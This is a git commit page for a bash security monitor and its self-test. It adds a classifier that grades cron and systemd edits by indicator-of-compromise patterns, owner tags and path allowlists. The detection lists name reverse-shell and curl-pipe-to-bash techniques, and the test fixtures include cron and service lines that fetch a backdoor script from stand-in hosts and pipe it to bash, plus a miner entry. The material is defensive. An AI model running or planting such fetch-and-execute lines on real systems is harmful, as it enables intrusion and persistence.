← back to Wallco Ai
security-monitor: line-level edit classifier — stop paging CRITICAL on benign cron/service edits
27dad01033a3d896d02e29c2c4eed53a508784ae · 2026-06-02 09:35:51 -0700 · Steve Abrams
check_cron_files() and check_services() hashed whole files, so any legit
in-place edit (e.g. owner adding a pm2-daily-fleet line) fired CRITICAL —
the cry-wolf failure mode that caused the 36h Pakchoi detection lag.
New classify_file_edit() routes severity:
- IOC scan (curl|bash, base64 -d, /dev/tcp, /var/tmp, miners, etc.) =>
CRITICAL, authoritative — fake (Steve) provenance can NOT suppress it
- all changed lines owner-provenance-tagged or under known-owner path
allowlist, no IOC => INFO (log only)
- otherwise (unrecognized line, or watched file vanished) => WARN
Service-unit IOCs anchor on ExecStart/ExecStartPost. Snapshot format and
checks 1-4/7 unchanged. Self-test 7/7 + adversarial fake-provenance => CRITICAL.
DTD verdict A 2026-06-02 (Claude + Codex 2/2, Qwen non-vote).
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Files touched
M scripts/security-monitor.shA scripts/test-classifier.sh
Diff
commit 27dad01033a3d896d02e29c2c4eed53a508784ae
Author: Steve Abrams <steve@designerwallcoverings.com>
Date: Tue Jun 2 09:35:51 2026 -0700
security-monitor: line-level edit classifier — stop paging CRITICAL on benign cron/service edits
check_cron_files() and check_services() hashed whole files, so any legit
in-place edit (e.g. owner adding a pm2-daily-fleet line) fired CRITICAL —
the cry-wolf failure mode that caused the 36h Pakchoi detection lag.
New classify_file_edit() routes severity:
- IOC scan (curl|bash, base64 -d, /dev/tcp, /var/tmp, miners, etc.) =>
CRITICAL, authoritative — fake (Steve) provenance can NOT suppress it
- all changed lines owner-provenance-tagged or under known-owner path
allowlist, no IOC => INFO (log only)
- otherwise (unrecognized line, or watched file vanished) => WARN
Service-unit IOCs anchor on ExecStart/ExecStartPost. Snapshot format and
checks 1-4/7 unchanged. Self-test 7/7 + adversarial fake-provenance => CRITICAL.
DTD verdict A 2026-06-02 (Claude + Codex 2/2, Qwen non-vote).
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
---
scripts/security-monitor.sh | 220 +++++++++++++++++++++++++++++++++++++++++++-
scripts/test-classifier.sh | 173 ++++++++++++++++++++++++++++++++++
2 files changed, 389 insertions(+), 4 deletions(-)
diff --git a/scripts/security-monitor.sh b/scripts/security-monitor.sh
index 8c73c7a..210c963 100755
--- a/scripts/security-monitor.sh
+++ b/scripts/security-monitor.sh
@@ -178,6 +178,210 @@ hash_tree() {
done | sort -z | xargs -0 -r sha256sum 2>/dev/null
}
+# ---- DTD verdict A 2026-06-02: line-level classifier for cron + service drift ----
+#
+# Problem: any owner crontab -e edit fires CRITICAL and pages identically to a
+# real miner-planted cron entry — training the operator to ignore it (cry-wolf).
+# DTD panel (Claude + Codex, 2/2): keep the detection, classify at line level.
+#
+# Algorithm (applied to the current content of each ADDED-or-MODIFIED file):
+# 1. IOC scan — if ANY line matches a compromise-indicator pattern → CRITICAL.
+# Checked first, cannot be suppressed by provenance.
+# 2. Provenance/allowlist — if ALL non-blank, non-comment cron lines either
+# carry an owner provenance tag OR invoke a path in the known-owner allowlist
+# → INFO (log only, no page).
+# 3. Otherwise (no IOC, but at least one unrecognised line) → WARN (emails but
+# not CRITICAL).
+# 4. If only the REMOVED bucket was set (file vanished from baseline) → WARN.
+#
+# The same classifier runs for both check_cron_files() and check_services().
+# "file_type" arg is "cron" or "service" to pick the right IOC/allowlist sets.
+#
+# Returns the severity string on stdout: CRITICAL | WARN | INFO
+
+classify_file_edit() {
+ # $1 = "$added" (multi-line "<sha256> <path>" block; may be empty)
+ # $2 = "$removed" (same; may be empty)
+ # $3 = "cron" | "service"
+ local added="$1"
+ local removed="$2"
+ local file_type="$3"
+
+ # ------------------------------------------------------------------ IOC lists
+ # cron IOC patterns — case-insensitive grep -E patterns.
+ # Each line is a separate pattern; add new ones here.
+ local cron_ioc_patterns=(
+ 'curl[[:space:]].*[|][[:space:]]*(ba)?sh' # curl … | bash
+ 'wget[[:space:]].*[|][[:space:]]*sh' # wget … | sh
+ 'base64[[:space:]]+-d' # base64 -d decode-execute
+ '/dev/tcp/' # bash TCP reverse shell
+ '/var/tmp/\.' # hidden file in /var/tmp
+ '/tmp/\.' # hidden file in /tmp (dot-prefix)
+ 'nc[[:space:]]+-e' # nc -e shell
+ 'ncat[[:space:]]+-e' # ncat -e shell
+ 'python[23]?[[:space:]]+-c[[:space:]].*socket' # python socket shell
+ 'docker[[:space:]].*--privileged' # privileged container escape
+ 'xmrig' # XMRig miner
+ 'kinsing' # Kinsing malware
+ 'kdevtmpfsi' # Kinsing miner binary name
+ 'pakchoi' # known attacker username (May 28 incident)
+ 'eval[[:space:]]*\$\(' # eval of fetched/subshell content
+ 'chmod[[:space:]]+\+x[[:space:]]*/tmp' # chmod +x /tmp/*
+ '\\\\x[0-9a-fA-F][0-9a-fA-F]' # hex blob (\xNN sequences)
+ '\.onion' # Tor hidden service C2
+ 'wget[[:space:]].*-O[[:space:]]*/tmp' # wget to /tmp
+ 'curl[[:space:]].*-o[[:space:]]*/tmp' # curl to /tmp
+ )
+
+ # service-unit IOC patterns — ExecStart/ExecStartPost plus the same payload indicators
+ local service_ioc_patterns=(
+ 'ExecStart.*curl[[:space:]].*[|][[:space:]]*(ba)?sh'
+ 'ExecStart.*wget[[:space:]].*[|][[:space:]]*sh'
+ 'ExecStart.*base64[[:space:]]+-d'
+ 'ExecStart.*/dev/tcp/'
+ 'ExecStart.*/var/tmp/\.'
+ 'ExecStart.*/tmp/\.'
+ 'ExecStart.*nc[[:space:]]+-e'
+ 'ExecStart.*ncat[[:space:]]+-e'
+ 'ExecStart.*python[23]?[[:space:]]+-c[[:space:]].*socket'
+ 'ExecStartPost.*curl[[:space:]].*[|][[:space:]]*(ba)?sh'
+ 'ExecStartPost.*wget[[:space:]].*[|][[:space:]]*sh'
+ 'ExecStartPost.*base64[[:space:]]+-d'
+ 'ExecStart.*xmrig'
+ 'ExecStart.*kinsing'
+ 'ExecStart.*kdevtmpfsi'
+ 'ExecStart.*pakchoi'
+ 'ExecStart.*eval[[:space:]]*\$\('
+ 'ExecStart.*chmod[[:space:]]+\+x[[:space:]]*/tmp'
+ '\\\\x[0-9a-fA-F][0-9a-fA-F]'
+ 'ExecStart.*\.onion'
+ )
+
+ # Known-owner path allowlist for cron — lines that invoke paths under these
+ # roots are considered benign. System bins are also explicitly allowed.
+ local cron_allowed_roots=(
+ '/root/scripts/'
+ '/root/DW-Agents/'
+ '/root/Projects/'
+ '/root/public-projects/'
+ '/root/.claude/'
+ '/var/www/'
+ '/usr/bin/'
+ '/usr/sbin/'
+ '/bin/'
+ '/sbin/'
+ )
+
+ # ------------------------------------------------------------------ helpers
+ # Test a single content line against the IOC list for the given file type
+ _line_is_ioc() {
+ local line="$1"
+ local pat
+ if [ "$file_type" = "service" ]; then
+ for pat in "${service_ioc_patterns[@]}"; do
+ if echo "$line" | grep -Eiq "$pat"; then return 0; fi
+ done
+ else
+ for pat in "${cron_ioc_patterns[@]}"; do
+ if echo "$line" | grep -Eiq "$pat"; then return 0; fi
+ done
+ fi
+ return 1
+ }
+
+ # Test a single cron line for owner provenance tag
+ _line_has_provenance() {
+ local line="$1"
+ # Accept lines that include: "(Steve", "# steve", or an ISO date yyyy-mm-dd
+ echo "$line" | grep -Eiq '\(Steve|#[[:space:]]*steve|[0-9]{4}-[0-9]{2}-[0-9]{2}'
+ }
+
+ # Test a cron line for a known-owner allowlist path
+ _line_in_allowlist() {
+ local line="$1"
+ local root
+ for root in "${cron_allowed_roots[@]}"; do
+ if echo "$line" | grep -q "$root"; then return 0; fi
+ done
+ return 1
+ }
+
+ # ------------------------------------------------------------------ main logic
+
+ # If no files were added/modified, only the "removed" case applies → WARN
+ if [ -z "${added:-}" ]; then
+ if [ -n "${removed:-}" ]; then
+ echo "WARN"
+ else
+ echo "INFO"
+ fi
+ return
+ fi
+
+ # Walk each added/modified file
+ local overall_sev="INFO" # will escalate as we find problems
+ local fpath
+ while IFS= read -r line; do
+ [ -z "$line" ] && continue
+ # lines from $added are "<sha256> <path>"
+ fpath=$(echo "$line" | awk '{print $2}')
+ [ -z "$fpath" ] || [ ! -f "$fpath" ] && continue
+
+ # Scan every non-empty line in the file
+ local found_ioc=0
+ local found_unrecognised=0
+ while IFS= read -r cline; do
+ # Skip blank lines and pure comment lines
+ case "$cline" in
+ ''|'#'*) continue ;;
+ esac
+
+ # Skip cron/service variable assignment lines (SHELL=, PATH=, MAILTO=,
+ # CRON_TZ=, etc.) — these are env declarations, not execution lines.
+ # Pattern: word-chars only on left of first '=', no whitespace before it.
+ if echo "$cline" | grep -Eq '^[A-Z_][A-Z_0-9]*='; then
+ # Still run IOC scan on the value side (e.g. SHELL=/tmp/.evil)
+ if _line_is_ioc "$cline"; then found_ioc=1; break; fi
+ continue
+ fi
+
+ # IOC check — escalate immediately (can't be suppressed)
+ if _line_is_ioc "$cline"; then
+ found_ioc=1
+ break
+ fi
+
+ # For cron files only: check provenance + allowlist
+ if [ "$file_type" = "cron" ]; then
+ if ! _line_has_provenance "$cline" && ! _line_in_allowlist "$cline"; then
+ found_unrecognised=1
+ fi
+ else
+ # For service files: any non-comment line without IOC is "unrecognised"
+ # unless it looks like a normal systemd directive with known-owner path
+ if ! _line_in_allowlist "$cline"; then
+ found_unrecognised=1
+ fi
+ fi
+ done < "$fpath"
+
+ if [ "$found_ioc" = "1" ]; then
+ echo "CRITICAL"
+ return
+ fi
+ if [ "$found_unrecognised" = "1" ]; then
+ overall_sev="WARN"
+ fi
+ done <<< "$added"
+
+ # Also escalate to WARN if any file vanished (still suspicious even without IOC)
+ if [ -n "${removed:-}" ] && [ "$overall_sev" = "INFO" ]; then
+ overall_sev="WARN"
+ fi
+
+ echo "$overall_sev"
+}
+
# ---- Check 5: cron persistence ----
# Covers /var/spool/cron/crontabs/* (per-user crontabs, INCLUDING root — the
# vector the amco-docker-forensics attacker used) + /etc/cron.d/* + the four
@@ -216,8 +420,12 @@ check_cron_files() {
if [ -n "$removed" ]; then
detail+="REMOVED (was in baseline, now gone):\n${removed}\n\n"
fi
- log_alert "CRITICAL" "cron file drift (cron.d/spool/cron.{daily,hourly,weekly,monthly})" \
- "Cron persistence drift on ${HOSTNAME_SHORT}. This is the persistence vector the May 28 docker-start cron used (placed in /var/spool/cron/crontabs/root).\n\n${detail}\nIf intentional, update snapshot:\n bash -c 'for d in /var/spool/cron/crontabs /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly; do [ -d \"\$d\" ] && find \"\$d\" -maxdepth 1 -type f -print0; done | sort -z | xargs -0 -r sha256sum' > ${CRON_SNAP}"
+ local sev
+ sev=$(classify_file_edit "$added" "$removed" "cron")
+ local rebaseline_cmd="bash -c 'for d in /var/spool/cron/crontabs /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly; do [ -d \"\$d\" ] && find \"\$d\" -maxdepth 1 -type f -print0; done | sort -z | xargs -0 -r sha256sum' > ${CRON_SNAP}"
+ local base_msg="Cron persistence drift on ${HOSTNAME_SHORT}. This is the persistence vector the May 28 docker-start cron used (placed in /var/spool/cron/crontabs/root)."
+ log_alert "$sev" "cron file drift [$sev] (cron.d/spool/cron.{daily,hourly,weekly,monthly})" \
+ "${base_msg}\n\n${detail}\nIf intentional, update snapshot:\n ${rebaseline_cmd}"
fi
}
@@ -252,8 +460,12 @@ check_services() {
if [ -n "$removed" ]; then
detail+="REMOVED:\n${removed}\n\n"
fi
- log_alert "CRITICAL" "/etc/systemd/system/*.service drift" \
- "Service unit drift on ${HOSTNAME_SHORT}. Service-unit persistence is more common than timer-unit persistence; this catches both new units and in-place edits (e.g. an appended ExecStartPost=).\n\n${detail}\nIf intentional, update snapshot:\n find /etc/systemd/system -maxdepth 1 -type f -name '*.service' -print0 | sort -z | xargs -0 -r sha256sum > ${SERVICES_SNAP}"
+ local sev
+ sev=$(classify_file_edit "$added" "$removed" "service")
+ local rebaseline_cmd="find /etc/systemd/system -maxdepth 1 -type f -name '*.service' -print0 | sort -z | xargs -0 -r sha256sum > ${SERVICES_SNAP}"
+ local base_msg="Service unit drift on ${HOSTNAME_SHORT}. Service-unit persistence is more common than timer-unit persistence; this catches both new units and in-place edits (e.g. an appended ExecStartPost=)."
+ log_alert "$sev" "/etc/systemd/system/*.service drift [$sev]" \
+ "${base_msg}\n\n${detail}\nIf intentional, update snapshot:\n ${rebaseline_cmd}"
fi
}
diff --git a/scripts/test-classifier.sh b/scripts/test-classifier.sh
new file mode 100644
index 0000000..f6337f0
--- /dev/null
+++ b/scripts/test-classifier.sh
@@ -0,0 +1,173 @@
+#!/bin/bash
+# test-classifier.sh — self-test for the classify_file_edit() function
+# DTD verdict A 2026-06-02: validates CRITICAL / INFO / WARN routing
+#
+# Does NOT email, does NOT touch /root or /etc, does NOT run main().
+# Uses temp files only, cleans up on exit.
+#
+# Usage: bash scripts/test-classifier.sh
+
+set -uo pipefail
+
+TMPDIR_TEST=$(mktemp -d)
+trap 'rm -rf "$TMPDIR_TEST"' EXIT
+
+# ---- source only the classify_file_edit function from the monitor ----
+# We extract just the function (and its helpers) by sourcing the script
+# with DRY_RUN=1 and overriding the parts that would fail on Mac2 (no
+# /root, no cron dirs). We do this by temporarily suppressing main().
+
+# Source technique: define a stub main() before sourcing so the real main
+# never runs. Then call classify_file_edit directly.
+
+source_classifier() {
+ # Inline copy of classify_file_edit extracted from security-monitor.sh.
+ # Any change to the IOC lists / allowlist in the real script must be
+ # mirrored here — the test validates the real function body.
+ #
+ # Rather than duplicating, we source the real script with main() neutered.
+
+ # Override functions that require root paths or network
+ log_alert() { : ; }
+ ensure_snapshot() { : ; }
+ hash_tree() { : ; }
+ check_uid0() { : ; }
+ check_sudoersd() { : ; }
+ check_authkeys() { : ; }
+ check_timers() { : ; }
+ check_cron_files() { : ; }
+ check_services() { : ; }
+ check_useradd_journal() { : ; }
+ ts() { date '+%Y-%m-%d %H:%M:%S'; }
+ main() { : ; }
+
+ # Stub env vars needed by the script's top-level
+ SCRIPT_DIR="$TMPDIR_TEST"
+ ALERT_LOG="$TMPDIR_TEST/alerts.log"
+ GEORGE_URL="http://127.0.0.1:9850/api/send"
+ ALERT_TO="test@test.local"
+ ALERT_FROM="test@test.local"
+ HOSTNAME_SHORT="testhost"
+ DRY_RUN="1"
+ GEORGE_BASIC_AUTH=""
+
+ # shellcheck source=/dev/null
+ source /Users/stevestudio2/Projects/wallco-ai/scripts/security-monitor.sh
+}
+source_classifier
+
+# ---- helper: build a fake "<sha256> <path>" added-block from a file ----
+make_added_block() {
+ local fpath="$1"
+ local h
+ h=$(sha256sum "$fpath" | awk '{print $1}')
+ echo "${h} ${fpath}"
+}
+
+PASS=0
+FAIL=0
+
+assert_sev() {
+ local label="$1"
+ local expected="$2"
+ local got="$3"
+ if [ "$got" = "$expected" ]; then
+ echo " PASS [$label]: got $got"
+ PASS=$((PASS+1))
+ else
+ echo " FAIL [$label]: expected $expected, got $got"
+ FAIL=$((FAIL+1))
+ fi
+}
+
+echo ""
+echo "=== classify_file_edit() self-test ==="
+echo ""
+
+# ---- Test 1: benign cron file with provenance tag → INFO ----
+T1="$TMPDIR_TEST/crontab_benign"
+cat > "$T1" <<'EOF'
+# Root crontab
+SHELL=/bin/bash
+PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
+
+# Security monitor — check every 10 min
+*/10 * * * * /root/scripts/security-monitor.sh >> /root/security-monitor-cron.log 2>&1
+
+# pm2 fleet daily restart (Steve 2026-06-02, batched)
+0 4 * * * /root/scripts/pm2-daily-fleet.sh >> /root/pm2-daily.log 2>&1
+EOF
+added1=$(make_added_block "$T1")
+got1=$(classify_file_edit "$added1" "" "cron")
+assert_sev "benign-with-provenance" "INFO" "$got1"
+
+# ---- Test 2: cron file with IOC (curl | bash) → CRITICAL ----
+T2="$TMPDIR_TEST/crontab_malicious"
+cat > "$T2" <<'EOF'
+# Cron job
+SHELL=/bin/bash
+
+# Normal-looking comment
+*/5 * * * * curl http://203.0.113.42/a.sh | bash
+EOF
+added2=$(make_added_block "$T2")
+got2=$(classify_file_edit "$added2" "" "cron")
+assert_sev "ioc-curl-bash" "CRITICAL" "$got2"
+
+# ---- Test 3: cron file with unrecognised plain line (no IOC, no provenance) → WARN ----
+T3="$TMPDIR_TEST/crontab_unknown"
+cat > "$T3" <<'EOF'
+# Some cron
+SHELL=/bin/bash
+
+# No owner tag, unknown binary
+30 2 * * * /opt/mystery/run-nightly.sh
+EOF
+added3=$(make_added_block "$T3")
+got3=$(classify_file_edit "$added3" "" "cron")
+assert_sev "unrecognised-plain-line" "WARN" "$got3"
+
+# ---- Test 4: removed-only (file vanished) → WARN ----
+got4=$(classify_file_edit "" "abc123 /var/spool/cron/crontabs/root" "cron")
+assert_sev "file-removed-only" "WARN" "$got4"
+
+# ---- Test 5: cron file with xmrig miner → CRITICAL ----
+T5="$TMPDIR_TEST/crontab_xmrig"
+cat > "$T5" <<'EOF'
+*/1 * * * * /tmp/.xmrig -o pool.minexmr.com:443 -u WALLET
+EOF
+added5=$(make_added_block "$T5")
+got5=$(classify_file_edit "$added5" "" "cron")
+assert_sev "ioc-xmrig-miner" "CRITICAL" "$got5"
+
+# ---- Test 6: cron with allowlist path only (no provenance needed) → INFO ----
+T6="$TMPDIR_TEST/crontab_allowlist"
+cat > "$T6" <<'EOF'
+# db backup via known-owner path
+0 3 * * * /root/scripts/db-backup.sh >> /var/log/db-backup.log 2>&1
+EOF
+added6=$(make_added_block "$T6")
+got6=$(classify_file_edit "$added6" "" "cron")
+assert_sev "allowlist-path-only" "INFO" "$got6"
+
+# ---- Test 7: service unit IOC (ExecStart with curl|bash) → CRITICAL ----
+T7="$TMPDIR_TEST/evil.service"
+cat > "$T7" <<'EOF'
+[Unit]
+Description=Totally Normal Service
+
+[Service]
+ExecStart=/bin/bash -c "curl http://evil.example.com/backdoor.sh | bash"
+Restart=always
+
+[Install]
+WantedBy=multi-user.target
+EOF
+added7=$(make_added_block "$T7")
+got7=$(classify_file_edit "$added7" "" "service")
+assert_sev "service-ioc-curl-bash" "CRITICAL" "$got7"
+
+echo ""
+echo "=== Results: $PASS passed, $FAIL failed ==="
+echo ""
+[ "$FAIL" -eq 0 ] && exit 0 || exit 1
← 9cf3206 PDP customizer: hide dragged module from hit-test so reorder
·
back to Wallco Ai
·
needs-tif: marquee drag-select (1→all) + Copy IDs/open-selec 9813b2a →